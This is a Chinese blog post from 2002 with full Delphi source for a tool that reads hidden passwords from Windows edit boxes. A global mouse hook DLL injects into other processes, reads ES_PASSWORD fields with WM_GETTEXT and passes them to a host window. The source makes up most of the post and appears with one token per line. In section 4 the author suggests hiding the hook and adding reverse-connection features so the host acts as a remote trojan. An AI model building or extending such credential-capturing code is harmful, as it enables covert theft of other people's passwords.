Windows文本框星号密码查看器
本人2002的学习作品
作者:成晓旭
1、 设计原理:注册一个系统级鼠标挂钩,通过监测系统鼠标所在Windows窗口来获取密码,成功获取密码之后,通过发送自定义的Windows系统消息,到宿主程序。
2、 Hook动态链接库设计原理:采用Windows Hook技术[鼠标挂钩],切入远程进程内部,并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint()),获取窗口句柄之后,判断当然窗口是否为文本框,并进一步判断是否为密码框,当发现是密码输入框时,当此窗口发送WM_GETTEXT消息,获取密码。成功获取密码之后,发现自定义的WM_COPYDATA消息到宿主程序;
具体实现步骤简介:
1. 设置系统鼠标挂钩:
hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);
2. 注销系统鼠标挂钩:
UnHookWindowsHookEx(hkMouseHook);
3. 监测当然窗口及窗口风格判断:
MousePos := pMhs.pt;
wnd := WindowFromPoint(pmhs.pt);
style := GetWindowLong(wnd,GWL_STYLE);
if (style and ES_PASSWORD) = ES_PASSWORD then
begin
//发现密码窗口
end;
4. 向密码框获取密码串:
SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));
5. 发送自定义消息到宿主程序:
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX := pt.X;
pmi.MouseY := pt.Y;
pmi.MouseTitle := pwd;
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData := 9910;
pcds.cbData := sizeof(TMouseInfo);
pcds.lpData := pmi;
SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));
3、 宿主程序设计原理:我的宿主程序是自己学习Windows SDK开发时作品,采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中,只需要在系统消息处理方法中,增加一个对WM_COPYDATA的拦截及处理过程就可能了。
case uMsg of
WM_COPYDATA:
begin
CXX_ReceiveCopyData(uMsg);
end;
……
end;
4、 应用技术提点:这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然,有兴趣的话,你完全可以将其Hook进一步进行隐藏,并为其增加“端口反弹”或者“半连接”功能,宿主程序可以是自己的远程XXXXXX,哈哈,这样发布出来的话,想知道的东西就多了……
5、 完整源码代码:
1. Hook鼠标挂钩部分:
...
{
产品名称: Windows 密码工具[Window98/NT/2000/XP]
功能描述: 截取Windows密码编辑框中的密码串
采用纯粹的SDK开发
能捕捉windows98/NT/2000/XP的密码框中的"*"密码
开发平台: Windows2000 + Delphi6 + MSDN + SDK
开发者: 成晓旭
版权所有: 成晓旭
模块设计者: 成晓旭
设计思路: 采用Windows Hook技术[鼠标挂钩],切入远程进程内部,
再发送WM_GETTEXT消息截取密码,最后用SendMessage发送
WM_COPYDATA消息自定义的密码信息结构体到目标窗口,以
显示或处理Hook DLL所截取的远程进程的密码.
开始时间: 2002年3月4日
完成时间: 2002年5月24日[最终实现]
备 注: 此工具是本人在2002年开发的第二个软件
本工具在2000年6月份左右曾实现过一个Windows98下的
密码截取工具,两年以来,我一直没有放弃过实现Windows
操作系统下的所有密码的截取,如此,终于实现了两年以来
未曾实现的截取WindowsNT系列的密码.[2002/05/24]
以后的路还很长:WindowNT系列的当前用户登录密码、
内存长驻的其它密码等等.
}
unit MouseHook;
interface
uses
Messages,Windows;
//
,SysUtils;
var
hkMouseHook:HHook;
ProcSafelyExit:Pointer;
uCXXMsg:UINT;
procedure DllEntryProc(ul_reason_for_call:DWORD);
procedure SetupHook(fSet:
boolean
);stdcall;export;
function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
procedure AutoUnInstallHook();far;
implementation
uses DataStruct;
procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);
var
pcds:PCopyDataStruct;
pmi:PMouseInfo;
hDec:THandle;
begin
hDec:
=
Findwindow(Nil,
'
WM_COPYDATA接收端
'
);
if
hDec
=
0
then
begin
MessageBox(
0
,
'
数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!
'
,
'
提示
'
,MB_OK or MB_ICONWARNING);
Exit;
end;
try
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX :
=
pt.X;
pmi.MouseY :
=
pt.Y;
pmi.MouseTitle :
=
pwd;
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData :
=
9910
;
pcds.cbData :
=
sizeof(TMouseInfo);
pcds.lpData :
=
pmi;
SendMessage(hDec,WM_COPYDATA,
0
,LPARAM(pcds));
//
PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
finally
FreeMem(pmi);
FreeMem(pcds);
end;
end;
function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var
pMhs:PMOUSEHOOKSTRUCT;
wnd:HWND;
style:LongInt;
MousePos:TPoint;
MouseTitle:TMTitle;
begin
if
iCode
=
HC_ACTION then
begin
FillChar(MouseTitle,
255
,
0
);
pMhs :
=
PMOUSEHOOKSTRUCT(lParam);
MousePos :
=
pMhs.pt;
wnd :
=
WindowFromPoint(pmhs.pt);
style :
=
GetWindowLong(wnd,GWL_STYLE);
if
(style and ES_PASSWORD)
=
ES_PASSWORD then
begin
SendMessage(wnd,WM_GETTEXT,
256
,Integer(@MouseTitle[
0
]));
//
发送截取的信息[]
CXX_SendCopyData(MousePos,MouseTitle);
end;
end;
Result :
=
CallNextHookEx(hkMouseHook,iCode,wParam,lParam);
end;
procedure SetupHook(fSet:
boolean
);stdcall;export;
begin
if
fSet then
begin
if
hkMouseHook
<>
0
then Exit;
hkMouseHook :
=
SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,
0
);
//
if hkMouseHook <> 0 then
//
MessageBox(0,'鼠标挂钩安装成功!!!','挂钩提示',MB_ICONINFORMATION or MB_OK)
//
else
//
MessageBox(0,'鼠标挂钩安装失败!','挂钩提示',MB_ICONWARNING or MB_OK);
end
else
begin
if
hkMouseHook
<>
0
then
begin
UnHookWindowsHookEx(hkMouseHook);
hkMouseHook :
=
0
;
//
if hkMouseHook = 0 then
//
MessageBox(0,'鼠标挂钩撤消成功!!!','挂钩提示',MB_ICONINFORMATION or MB_OK)
//
else
//
MessageBox(0,'鼠标挂钩撤消失败!','挂钩提示',MB_ICONWARNING or MB_OK);
end;
end;
end;
procedure DllEntryProc(ul_reason_for_call:DWORD);
begin
...
{
if ul_reason_for_call = DLL_PROCESS_ATTACH then
begin
MessageBox(0,'DLL_PROCESS_ATTACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);
//uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);
end
else if ul_reason_for_call = DLL_PROCESS_DETACH then
begin
MessageBox(0,'DLL_PROCESS_DETACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);
end;
}
end;
procedure AutoUnInstallHook();
begin
if
hkMouseHook
<>
0
then
SetupHook(False);
ExitProc :
=
ProcSafelyExit;
end;
end.
2. 宿主程序部分:
此程序中,还有关于Windows程序资源加载以及窗口背景绘制等技术的演示。
...
{
产品名称: Windows 密码工具
功能描述: 截取Windows密码编辑框中的密码串
采用纯粹的SDK开发
开发平台: Windows2000 + Delphi6 + MSDN + SDK
开发者: 成晓旭
版权所有: 成晓旭
模块设计者: 成晓旭
开始时间: 2002年3月4日
完成时间: 2002年3月4日
修改时间1: 2002年3月4日
备 注: 此工具是本人在2002年开发的第二个软件,
}
program MouseExe;
uses
Windows,
SysUtils,
Messages,
Tie_In_MHook in
'
Tie_In_MHook.pas
'
,
DataStruct in
'
DataStruct.pas
'
;
...
{$R MouseExe.res}
const
CXX_WND_CLASS
=
'
DC_Password
'
;
//
主窗口类名
CXX_WND_CAPTION
=
'
Window2000/XP 密码捕捉工具
'
;
CXX_PASSKEY
=
'
chenxiaoxu
'
;
MOUSE_MOVE_TIMER
=
WM_USER
+
9910
;
SELF_MESSAGE_NAME
=
'
CXX_Test_Window_Message
'
;
var
hWndMain,
//
程序主窗口句柄
hBtnCheck,
//
程序发送按钮句柄
hBtnClose,
//
程序关闭按钮句柄
hStcPos,
//
鼠标位置提示
hStcTitle,
//
窗口标题提示
hEdtPos,
//
鼠标当前位置
hEdtTitle:
//
获取窗口标题
LongWord;
hInstMain: integer;
//
程序实例句柄
hBGBmp : HBITMAP;
//
主窗口背景图片句柄
hCur: HICON;
uCXXMsg: UINT;
procedure CXX_SendCopyData();
var
pcds:PCopyDataStruct;
pmi:PMouseInfo;
hDec:THandle;
begin
hDec:
=
Findwindow(Nil,
'
WM_COPYDATA接收端
'
);
if
hDec
=
0
then
begin
MessageBox(hWndMain,
'
数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!
'
,
'
提
示
'
,MB_OK or MB_ICONWARNING);
Exit;
end;
//
try
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX :
=
10
;
pmi.MouseY :
=
50
;
pmi.MouseTitle :
=
'
chenxiaoxu
'
;
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData :
=
9910
;
pcds.cbData :
=
sizeof(TMouseInfo);
pcds.lpData :
=
pmi;
SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));
//
PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
//
finally
FreeMem(pmi);
FreeMem(pcds);
//
end;
end;
procedure CXX_ReceiveCopyData(Msg:TMessage);
var
str:string;
begin
str :
=
IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)
^
.lpData)
^
.MouseX);
str :
=
str
+
IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)
^
.lpData)
^
.MouseY);
end;
//
绘制窗口位图背景函数
function CXX_DrawBGBitmap(fdc:HDC;fBitmap:HBitmap):
boolean
;
var
hdcMem:HDC;
rect:TRect;
bmp:Bitmap;
x,y:integer;
begin
//
bmp := nil;
Result :
=
False;
//
主窗口背景图片尚未加载,不能绘制窗口背景
if
fBitmap
=
0
then Exit;
//
获取绘图区域
GetClientRect(hWndMain,rect);
//
创建兼容内存设备描述表
hdcMem :
=
CreateCompatibleDC(fdc);
if
hdcMem
=
0
then Exit;
//
设置位图对象
if
(GetObject(fBitmap,sizeof(Bitmap),@bmp)
=
0
) then Exit;
//
设置内存设备描述表内容
if
NOT Boolean(SelectObject(hdcMem,fBitmap)) then Exit;
//
绘制窗口背景图片
x :
=
0
;
while
(x
<=
rect.Right
-
rect.Left)
do
begin
y :
=
0
;
while
(y
<=
rect.Bottom
-
rect.Top)
do
begin
BitBlt(fdc,x,y,bmp.bmWidth,bmp.bmHeight,hdcMem,
0
,
0
,SRCCOPY);
y :
=
y
+
bmp.bmHeight;
end;
x :
=
x
+
bmp.bmWidth;
end;
Result :
=
DeleteDC(hdcMem);
end;
...
{
function CXX_SetWinCaption():设置窗口对象标题函数
参数定义:
hWnd: 窗口对象句柄
pchText:窗口对象标题
}
procedure CXX_SetWinCaption(hWnd:hWND;pchText:PChar);
begin
SendMessage(hWnd,WM_SETTEXT,
0
,Integer(pchText));
//
SetWindowText(hWnd,pchText);
end;
...
{
function CXX_GetWinCaption():取得按钮标题函数
参数定义:
hWnd: 按钮句柄
pchText:按钮标题
}
procedure CXX_GetWinCaption(hWnd:hWND;pchText:PChar);
begin
SendMessage(hWnd,WM_GETTEXT,
255
,Integer(pchText));
end;
procedure CXX_MouseMoveTimerProc(hWin:HWND;uMsg:UINT;idEvent:UINT;dwTime:DWORD);
begin
//
MessageBox(hWin,'系统时间','提示',0);
end;
function CXX_SetProgramTimer(fSetTimer:
boolean
):
boolean
;
begin
Result :
=
False;
if
fSetTimer then
begin
//
if SetTimer(hWndMain,MOUSE_MOVE_TIMER,3000,@CXX_MouseMoveTimerProc) <> 0 then
if
SetTimer(hWndMain,MOUSE_MOVE_TIMER,
100
,nil)
<>
0
then
Result :
=
True;
end
else
begin
if
KillTimer(hWndMain,MOUSE_MOVE_TIMER) then
Result :
=
True;
end;
end;
//
主窗口消息回调函数
//
function CXX_MainWindowProc(hWnd,uMsg,wParam,lParam:DWord):LRESULT;stdcall;
function CXX_MainWindowProc(hWnd:DWord;uMsg:TMessage;wParam,lParam:DWord):LRESULT;stdcall;
var
//
pchPassword:PCHAR;
dc :HDC;
ps:PAINTSTRUCT;
begin
...
{
if uMsg = uCXXMsg then
begin
MessageBox(hWnd,'自定义消息来了!!!','Hint',0);
MessageBox(hWnd,PChar(lParam),'消息内容',0);
end;
}
case
uMsg of
WM_COPYDATA:
begin
//
MessageBox(hWndMain,'窗口接收WM_COPYDATA消息!','提示',MB_OK or MB_ICONWARNING);
CXX_ReceiveCopyData(uMsg);
end;
WM_CREATE:
begin
uCXXMsg :
=
RegisterWindowMessage(SELF_MESSAGE_NAME);
end;
WM_RBUTTONDBLCLK:
//
$0206
PostQuitMessage(
0
);
WM_COMMAND:
//
$0111
begin
if
lParam
=
hBtnClose then
begin
if
MessageBox(hWnd,PChar(
'
确定要退出【
'
+
CXX_WND_CAPTION
+
'
】吗?
'
),
'
确
认
'
,MB_YESNO or MB_ICONQUESTION) = IDYES then
PostQuitMessage(
0
);
end
else
if
lParam
=
hBtnCheck then
begin
//
CXX_SetProgramTimer(True);
//
PostMessage(HWND_BROADCAST,uCXXMsg,0,0);
//
SetupHook(True);
CXX_SendCopyData();
end;
end;
WM_PAINT:
begin
dc :
=
BeginPaint(hWnd,ps);
if
NOT CXX_DrawBGBitmap(dc,hBGBmp) then
MessageBox(hWnd,
'
绘制主窗口背景失败呢!
'
,
'
提示
'
,MB_OK or MB_ICONWARNING);
end;
WM_DESTROY:
begin
CXX_SetProgramTimer(
false
);
Halt;
//
$0002:
end;
end;
//
End of Case
Result :
=
DefWindowProc(hWnd,uMsg,wParam,lParam);
end;
//
应用程序实例化
function CXX_InitInstance():
boolean
;
var
wndClass:TWndClass;
begin
hInstMain :
=
hInstance;
hCur :
=
LoadCursor(hInstMain,
'
HANDLE
'
);
if
hCur
=
0
then
MessageBox(hWndMain,
'
加载主窗口背景图片失败!!!
'
,
'
提示
'
,MB_OK or
MB_ICONWARNING)
else
SetCursor(hCur);
hBGBmp :
=
LoadBitmap(hInstMain,
'
BACKBMP
'
);
if
hBGBmp
=
0
then
MessageBox(hWndMain,
'
加载主窗口背景图片失败!!!
'
,
'
提示
'
,MB_OK or
MB_ICONWARNING);
wndClass.cbClsExtra :
=
0
;
wndClass.cbWndExtra :
=
0
;
wndClass.hInstance :
=
hInstMain;
wndClass.hIcon :
=
0
;
wndClass.hCursor :
=
LoadCursor(
0
,IDC_HAND);
wndClass.hbrBackground :
=
CTLCOLOR_EDIT;
wndClass.lpfnWndProc :
=
@CXX_MainWindowProc;
wndClass.lpszClassName :
=
CXX_WND_CLASS;
wndClass.lpszMenuName :
=
nil;
wndClass.style :
=
CS_DBLCLKS;
Result :
=
Boolean(RegisterClassA(wndClass));
end;
//
主程序函数
procedure CXX_RunMainProgram();
var
myMsg:TMsg;
begin
if
NOT CXX_InitInstance() then
Exit;
hWndMain :
=
CreateWindowEx(WS_EX_CLIENTEDGE or WS_EX_TOPMOST,
CXX_WND_CLASS,CXX_WND_CAPTION,
WS_VISIBLE or WS_SYSMENU or WS_MINIMIZEBOX,
0
,
0
,
320
,
150
,
0
,
0
,hInstMain,nil);
hStcPos :
=
CreateWindowEx(
0
,
'
static
'
,
'
鼠标位置:
'
,
WS_VISIBLE OR WS_CHILD,
5
,
10
,
80
,
20
,
hWndMain,
0
,hInstMain,nil);
hEdtPos :
=
CreateWindowEx(WS_EX_CLIENTEDGE,
'
Edit
'
,
''
,
WS_VISIBLE OR WS_CHILD,
100
,
10
,
200
,
20
,
hWndMain,
0
,hInstMain,nil);
hStcTitle :
=
CreateWindowEx(
0
,
'
static
'
,
'
获取密码:
'
,
WS_VISIBLE OR WS_CHILD,
5
,
50
,
80
,
20
,
hWndMain,
0
,hInstMain,nil);
hEdtTitle :
=
CreateWindowEx(WS_EX_CLIENTEDGE,
'
Edit
'
,
''
,
WS_VISIBLE OR WS_CHILD,
100
,
50
,
200
,
20
,
hWndMain,
0
,hInstMain,nil);
hBtnCheck :
=
CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,
'
Button
'
,
'
发送消息
'
,
WS_VISIBLE OR WS_CHILD,
10
,
85
,
100
,
30
,
hWndMain,
0
,hInstMain,nil);
hBtnClose :
=
CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,
'
Button
'
,
'
退出程序
'
,
WS_VISIBLE OR WS_CHILD,
180
,
85
,
100
,
30
,
hWndMain,
0
,hInstMain,nil);
//
主程序函数循环
while
(GetMessage(myMsg,hWndMain,
0
,
0
))
do
begin
TranslateMessage(myMsg);
DispatchMessage(myMsg);
end;
end;
begin
CXX_RunMainProgram();
end.
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1004627